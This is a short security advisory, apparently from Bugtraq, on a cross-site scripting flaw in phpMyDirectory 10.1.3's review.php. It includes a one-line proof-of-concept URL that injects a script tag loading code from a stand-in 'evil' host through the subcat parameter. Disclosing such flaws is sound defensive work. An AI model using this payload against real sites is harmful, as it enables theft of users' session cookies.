PHPMyDirectory Review.PHP Multiple Parameter Cross-Site Scripting Vulnerability

BID:12900

Info

PHPMyDirectory Review.PHP Multiple Parameter Cross-Site Scripting Vulnerability

Bugtraq ID: 12900
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 25 2005 12:00AM
Updated: Mar 25 2005 12:00AM
Credit: Discovery is credited to mircia mircia <[email protected]>.
Vulnerable: phpMyDirectory phpMyDirectory 10.1.3 -rel
Not Vulnerable:

Discussion

PHPMyDirectory Review.PHP Multiple Parameter Cross-Site Scripting Vulnerability

phpMyDirectory is prone to a cross-site scripting vulnerability.

The problem presents itself when malicious HTML and script code is sent to the application through various parameters of the 'review.php' script.

This issue may allow for theft of cookie-based authentication credentials or other attacks.

phpMyDirectory 10.1.3-rel is reported vulnerable, however, it is possible that other versions are affected as well.

Exploit / POC

PHPMyDirectory Review.PHP Multiple Parameter Cross-Site Scripting Vulnerability

An exploit is not required.

The following proof of concept example is available:
http://www.example.com/review.php?id=1&cat=&subcat=">&lt;script src=http://evil/foo.js>&lt;/script&gt;

Solution / Fix

PHPMyDirectory Review.PHP Multiple Parameter Cross-Site Scripting Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PHPMyDirectory Review.PHP Multiple Parameter Cross-Site Scripting Vulnerability

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